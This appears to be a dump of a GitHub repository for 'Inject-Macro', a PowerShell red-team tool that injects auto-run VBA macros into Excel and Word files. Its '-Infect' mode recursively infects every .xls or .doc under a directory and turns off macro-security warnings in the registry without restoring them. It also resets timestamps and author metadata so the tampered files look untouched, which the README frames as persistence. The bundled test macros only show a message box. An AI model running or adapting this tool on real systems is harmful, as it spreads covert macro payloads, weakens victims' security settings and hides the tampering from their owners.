├── test_macros ├── excel_macro └── word_macro ├── .gitignore ├── LICENSE ├── README.md └── Inject-Macro.ps1 /test_macros/excel_macro: -------------------------------------------------------------------------------- 1 | Sub Auto_Open() 2 | Test 3 | End Sub 4 | 5 | Public Function Test() As Variant 6 | MsgBox "This is a test Excel macro!" 7 | End Function -------------------------------------------------------------------------------- /test_macros/word_macro: -------------------------------------------------------------------------------- 1 | Sub AutoOpen() 2 | Test 3 | End Sub 4 | 5 | Public Function Test() As Variant 6 | MsgBox "This is a test Word macro!" 7 | End Function -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Brandan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Inject-Macro 2 | Inject VBA macro code into Excel and Word documents 3 | 4 | ## Summary ## 5 | Inject-Macro allows for the injection of VBA macros into Microsoft Excel and Word documents; specifically targeting the 97-2003 '.xls' and '.doc' file format due to their ability to contain VBA macros without having a '.xlsm' or '.docm' file extension. 6 | 7 | Inject-Macro requires an Excel or Word file, specified with '-Doc', and a plain text VBA macro file, specified with '-Macro'. The macro will be injected into the document and file metadata such as the last author will be removed. This is intended to be a quick way to prepare a templated Excel or Word document with a macro payload. 8 | 9 | #### -Infect #### 10 | If the '-Infect' flag is given, the supplied VBA macro will be injected into all Excel or Word documents found in the user specified '-Doc' directory path. Inject-Macro will read the first line of the user supplied macro and look for 'Auto_Open' or 'AutoOpen'. Excel uses 'Sub Auto_Open()' to automatically run macro code when the documet is opened; Word uses 'Sub AutoOpen()'. This will determine if the macro will be injected into Excel or Word documents. 11 | 12 | The VBA 'Security' registry keys are disabled and not re-enabled on exit when using the '-Infect' flag. This removes that pesky 'Macros have been disabled.' warning, and executes the macro without prompting the user. 13 | 14 | Additionally, the 'LastAccessTime', 'LastWriteTime' and 'Author' file properties of the document are initially copied and replaced after injection to make the file appear untouched. Ideally this would be used to establish a low level form of persistence. 15 | 16 | For clean-up, the location of all injected documents are written to '$env:temp\inject.log' when running Inject-Macro with the '-Infect' flag. 17 | 18 | #### -Clean #### 19 | If the '-Clean' flag is given, the VBA macro code will be removed from the documents and the registry keys will be re-enabled. 20 | 21 | ## Requirements ## 22 | Excel and/or Word and PowerShell 2.0 or greater are the only requirements for Inject-Macro 23 | 24 | ## Examples ## 25 | Inject the VBA macro 'excel_macro' into the Excel document 'Excel.xls' 26 | 27 | `C:\PS> Inject-Macro -Doc C:\Users\Test\Excel.xls -Macro C:\temp\excel_macro` 28 | 29 | Inject the VBA macro 'word_macro' into the Word document 'Word.doc' 30 | 31 | `C:\PS> Inject-Macro -Doc C:\Users\Test\Word.doc -Macro C:\temp\word_macro` 32 | 33 | Inject the VBA macro 'macro' into all Excel or Word documents found in 'C:\Users\' recursively. 34 | 35 | `C:\PS> Inject-Macro -Doc C:\Users\ -Macro C:\temp\macro -Infect` 36 | 37 | Remove the injected VBA macro code from all documents found in 'inject.log'. 38 | 39 | `C:\PS> Inject-Macro -Clean` 40 | 41 | ## Credits ## 42 | Special Thanks: 43 | * Jeff McCutchan - jamcut ([@jamcut](https://twitter.com/jamcut)) 44 | * Spencer McIntyre - zeroSteiner ([@zeroSteiner](https://twitter.com/zeroSteiner)) 45 | -------------------------------------------------------------------------------- /Inject-Macro.ps1: -------------------------------------------------------------------------------- 1 | function Inject-Macro { 2 | <# 3 | .SYNOPSIS 4 | 5 | Inject VBA macro code into Excel and Word documents. 6 | 7 | Author: Brandan Geise (coldfusion) 8 | License: MIT 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .DESCRIPTION 13 | 14 | Injects the supplied VBA macro code into the specified '.xls' Excel or '.doc' Word document. 15 | 16 | Ideally this would be used to establish a low level form of persistence. 17 | 18 | If the '-Infect' flag is given, the supplied VBA macro code will be injected into all Excel or Word documents in the specified '-Doc' directory path. 19 | 20 | The script will read the first line of the supplied VBA macro code and look for 'Auto_Open' or 'AutoOpen'. Excel uses 'Sub Auto_Open()' to automatically run macro code when the documet is opened; Word uses 'Sub AutoOpen()'. This will determine if the VBA macro code will be injected into Excel or Word documents. 21 | 22 | The VBA 'Security' registry keys are not re-enabled on exit when the '-Infect' flag is given, which removes the 'Macros have been disabled.' warning. 23 | 24 | For clean up, all injected documents' full paths are written to $env:temp\inject.log. 25 | 26 | If the '-Clean' flag is given, the VBA macro code will be removed from the documents and the registry keys will be re-enabled. 27 | 28 | .PARAMETER Doc 29 | 30 | Path of the target Excel or Word document, or a directory path. 31 | 32 | .PARAMETER Macro 33 | 34 | Path of the VBA macro file you want injected into Excel or Word documents. 35 | 36 | .PARAMETER Infect 37 | 38 | Inject VBA macro code into all '.xls' Excel or '.doc' Word documents found in the specified '-Doc' directory. 39 | 40 | .PARAMETER Clean 41 | 42 | Remove the VBA macro code from all Excel or Word documents that were injected with the '-Infect' flag. 43 | 44 | .EXAMPLE 45 | 46 | C:\PS> Inject-Macro -Doc C:\Users\Test\Excel.xls -Macro C:\temp\excel_macro 47 | 48 | Description 49 | ----------- 50 | Inject the VBA macro 'excel_macro' into the Excel document 'Excel.xls' 51 | 52 | .EXAMPLE 53 | 54 | C:\PS> Inject-Macro -Doc C:\Users\Test\Word.doc -Macro C:\temp\word_macro 55 | 56 | Description 57 | ----------- 58 | Injects the VBA macro 'word_macro' into the Word document 'Word.doc' 59 | 60 | .EXAMPLE 61 | 62 | C:\PS> Inject-Macro -Doc C:\Users\ -Macro C:\temp\macro -Infect 63 | 64 | Description 65 | ----------- 66 | Injects the VBA macro 'macro' into all Excel or Word documents found in 'C:\Users\' recursively. 67 | 68 | .EXAMPLE 69 | 70 | C:\PS> Inject-Macro -Clean 71 | 72 | Description 73 | ----------- 74 | Removes the VBA macro code from all documents found in 'inject.log'. 75 | #> 76 | 77 | [CmdletBinding()] Param( 78 | [Parameter(Mandatory = $False)] 79 | [String] 80 | $Doc, 81 | 82 | [Parameter(Mandatory = $False)] 83 | [String] 84 | $Macro, 85 | 86 | [Parameter(Mandatory = $False)] 87 | [Switch] 88 | $Infect = $False, 89 | 90 | [Parameter(Mandatory = $False)] 91 | [Switch] 92 | $Clean = $False 93 | ) 94 | 95 | function Inject ([String] $Doc, [String] $Macro, [Switch] $Self, [Switch] $Clean) { 96 | # Excel document handling 97 | if ($Doc -like '*.xls') { 98 | # Create Excel objects 99 | Add-Type -AssemblyName Microsoft.Office.Interop.Excel 100 | $EXCEL = New-Object -ComObject Excel.Application 101 | $EXCEL.AutomationSecurity = 'msoAutomationSecurityForceDisable' 102 | $ExcelVersion = $EXCEL.Version 103 | 104 | # Disable macro security 105 | Registry-Switch -Format excel -State disable 106 | 107 | $EXCEL.DisplayAlerts = 'wdAlertsNone' 108 | $EXCEL.DisplayAlerts = $False 109 | $EXCEL.Visible = $False 110 | $EXCEL.ScreenUpdating = $False 111 | $EXCEL.UserControl = $False 112 | $EXCEL.Interactive = $False 113 | 114 | # Get original document metadata 115 | $LAT = $($(Get-Item $Doc).LastAccessTime).ToString('M/d/yyyy h:m tt') 116 | $LWT = $($(Get-Item $Doc).LastWriteTime).ToString('M/d/yyyy h:m tt') 117 | 118 | $Book = $EXCEL.Workbooks.Open($Doc, $Null, $Null, 1, "") 119 | $Author = $Book.Author 120 | 121 | if ($Clean) { 122 | # Remove VBA macros 123 | ForEach ($Module in $Book.VBProject.VBComponents) { 124 | if ($Module.Name -like "Module*") { 125 | $Book.VBProject.VBComponents.Remove($Module) 126 | } 127 | } 128 | } elseif ($Self) { 129 | $VBA = $Book.VBProject.VBComponents.Add(1) 130 | $VBA.CodeModule.AddFromFile($Macro) | Out-Null 131 | 132 | $RemoveMetadata = 'Microsoft.Office.Interop.Excel.XlRemoveDocInfoType' -as [type] 133 | $Book.RemoveDocumentInformation($RemoveMetadata::xlRDIAll) 134 | } else { 135 | $VBA = $Book.VBProject.VBComponents.Add(1) 136 | $VBA.CodeModule.AddFromFile($Macro) | Out-Null 137 | 138 | $Book.Author = $Author 139 | } 140 | 141 | # Save the document 142 | $Book.SaveAs("$Doc", [Microsoft.Office.Interop.Excel.xlFileFormat]::xlExcel8) 143 | $EXCEL.Workbooks.Close() 144 | 145 | if (($Clean) -or ($Self)) { 146 | # Enable macro security 147 | Registry-Switch -Format excel -State enable 148 | } else { 149 | # Re-write original document metadata 150 | $(Get-Item $Doc).LastAccessTime = $LAT 151 | $(Get-Item $Doc).LastWriteTime = $LWT 152 | 153 | # Write to file for clean up 154 | $Doc | Add-Content $env:temp'\inject.log' 155 | } 156 | 157 | # Exit Excel 158 | $EXCEL.Quit() 159 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($EXCEL) | out-null 160 | $EXCEL = $Null 161 | 162 | if (PS excel) { 163 | kill -name excel 164 | } 165 | # Word document handling 166 | } else { 167 | # Create Word objects 168 | Add-Type -AssemblyName Microsoft.Office.Interop.Word 169 | $WORD = New-Object -ComObject Word.Application 170 | $WORD.AutomationSecurity = 'msoAutomationSecurityForceDisable' 171 | $WordVersion = $WORD.Version 172 | 173 | # Disable macro security 174 | Registry-Switch -Format word -State disable 175 | 176 | $WORD.DisplayAlerts = [Microsoft.Office.Interop.Word.wdAlertLevel]::wdAlertsNone 177 | $WORD.Visible = $False 178 | $WORD.ScreenUpdating = $False 179 | 180 | # Get original document metadata 181 | $LAT = $($(Get-Item $Doc).LastAccessTime).ToString('M/d/yyyy h:m tt') 182 | $LWT = $($(Get-Item $Doc).LastWriteTime).ToString('M/d/yyyy h:m tt') 183 | 184 | $Book = $WORD.Documents.Open($Doc, $False, $False, $False, "") 185 | 186 | if ($Clean) { 187 | # Remove VBA macros (for some reason Word is weird) 188 | $Count = 1 189 | ForEach ($Module in $Book.VBProject.VBComponents) { 190 | if ($Module.Name -like "Module*") { 191 | $CodeModule = $Book.VBProject.VBComponents.Item($Count).CodeModule 192 | $LineCount = $CodeModule.CountOfLines 193 | if ($LineCount -gt 0) { 194 | $CodeModule.DeleteLines(1, $LineCount) 195 | } 196 | } 197 | $Count = $($Count + 1) 198 | } 199 | } elseif ($Self) { 200 | $VBA = $Book.VBProject.VBComponents.Add(1) 201 | $VBA.CodeModule.AddFromFile($Macro) | Out-Null 202 | 203 | $RemoveMetadata = 'Microsoft.Office.Interop.Word.WdRemoveDocInfoType' -as [type] 204 | $Book.RemoveDocumentInformation($RemoveMetadata::wdRDIAll) 205 | } else { 206 | $VBA = $Book.VBProject.VBComponents.Add(1) 207 | $VBA.CodeModule.AddFromFile($Macro) | Out-Null 208 | } 209 | 210 | # Save the document 211 | $Book.SaveAs([REF]"$Doc") 212 | $Book.Close() 213 | 214 | if (($Clean) -or ($Self)) { 215 | # Enable macro security 216 | Registry-Switch -Format word -State enable 217 | } else { 218 | # Re-write original document metadata 219 | $(Get-Item $Doc).LastAccessTime = $LAT 220 | $(Get-Item $Doc).LastWriteTime = $LWT 221 | 222 | # Write to file for clean up 223 | $Doc | Add-Content $env:temp'\inject.log' 224 | } 225 | 226 | # Exit Word 227 | $WORD.Application.Quit() 228 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($WORD) | out-null 229 | $WORD = $Null 230 | 231 | if (PS winword) { 232 | kill -name winword 233 | } 234 | } 235 | } 236 | 237 | # Handle enabling and disabling VBA security registry keys 238 | function Registry-Switch ([String] $Format, [String] $State) { 239 | if ($Format -eq 'excel') { 240 | $EXCEL = New-Object -ComObject Excel.Application 241 | $ExcelVersion = $EXCEL.Version 242 | $RegPath = "$ExcelVersion\Excel" 243 | } else { 244 | $WORD = New-Object -ComObject Word.Application 245 | $WordVersion = $WORD.Version 246 | $RegPath = "$WordVersion\Word" 247 | } 248 | 249 | $AccessValue = (Get-ItemProperty HKCU:\Software\Microsoft\Office\$RegPath\Security).AccessVBOM 250 | $WarningValue = (Get-ItemProperty HKCU:\Software\Microsoft\Office\$RegPath\Security).VBAWarnings 251 | 252 | if ($State -eq 'enable') { 253 | if (($AccessValue -ne 0) -or ($WarningValue -ne 0)) { 254 | New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name AccessVBOM -PropertyType DWORD -Value 0 -Force | Out-Null 255 | New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name VBAWarnings -PropertyType DWORD -Value 0 -Force | Out-Null 256 | } 257 | } elseif ($State -eq 'disable') { 258 | if (($AccessValue -ne 1) -or ($WarningValue -ne 1)) { 259 | New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null 260 | New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$RegPath\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null 261 | } 262 | } 263 | } 264 | 265 | # Resolve full paths 266 | if ($Doc -and $Macro) { 267 | $Doc = (Resolve-Path $Doc).Path 268 | $Macro = (Resolve-Path $Macro).Path 269 | } 270 | 271 | # Actually do things... 272 | if ($PSBoundParameters['Clean']) { 273 | if (Test-Path $env:temp'\inject.log' -PathType Leaf) { 274 | Get-Content $env:temp'\inject.log' | Foreach-Object { 275 | $Doc = $_ 276 | Inject $Doc -Clean 277 | Write-Host "Macro removed from $Doc" 278 | } 279 | Remove-Item $env:temp'\inject.log' 280 | Write-Host 'Injected macros have been removed from all documents' -foregroundcolor green 281 | } else { 282 | Write-Host 'Could not find inject.log file!' -foregroundcolor red 283 | break 284 | } 285 | } elseif ($PSBoundParameters['Infect']) { 286 | if (Test-Path $Doc -pathType container) { 287 | # Get first line of VBA code 288 | $VBAStart = (Get-Content $Macro -totalcount 1).ToLower() 289 | if ($VBAStart -match 'auto_open') { 290 | Write-Host 'Injecting Excel documents with macro...' 291 | $Documents = Get-ChildItem -Path $Doc -include *.xls -recurse 292 | } elseif ($VBAStart -match 'autoopen') { 293 | Write-Host 'Injecting Word documents with macro...' 294 | $Documents = Get-ChildItem -Path $Doc -include *.doc -recurse 295 | } else { 296 | Write-Host "Could not find 'Sub Auto_Open()' or 'Sub AutoOpen()' in macro file!" -foregroundcolor red 297 | break 298 | } 299 | ForEach ($Document in $Documents) { 300 | try { 301 | Inject $Document $Macro 302 | Write-Host "Macro sucessfully injected into $Document" 303 | } catch { 304 | continue 305 | } 306 | } 307 | Write-Host 'Macro has been injected into all documents' -foregroundcolor green 308 | } else { 309 | Write-Host 'Please provide a valid directory path!' -foregroundcolor red 310 | break 311 | } 312 | } elseif (Test-Path $Doc -PathType Leaf) { 313 | Inject $Doc $Macro -Self 314 | Write-Host "Macro sucessfully injected into $Doc" 315 | Write-Warning 'Remember, the injected VBA macro is NOT password protected!' 316 | } else { 317 | Write-Host 'Please provide a valid .xls or .doc file!' -foregroundcolor red 318 | } 319 | } --------------------------------------------------------------------------------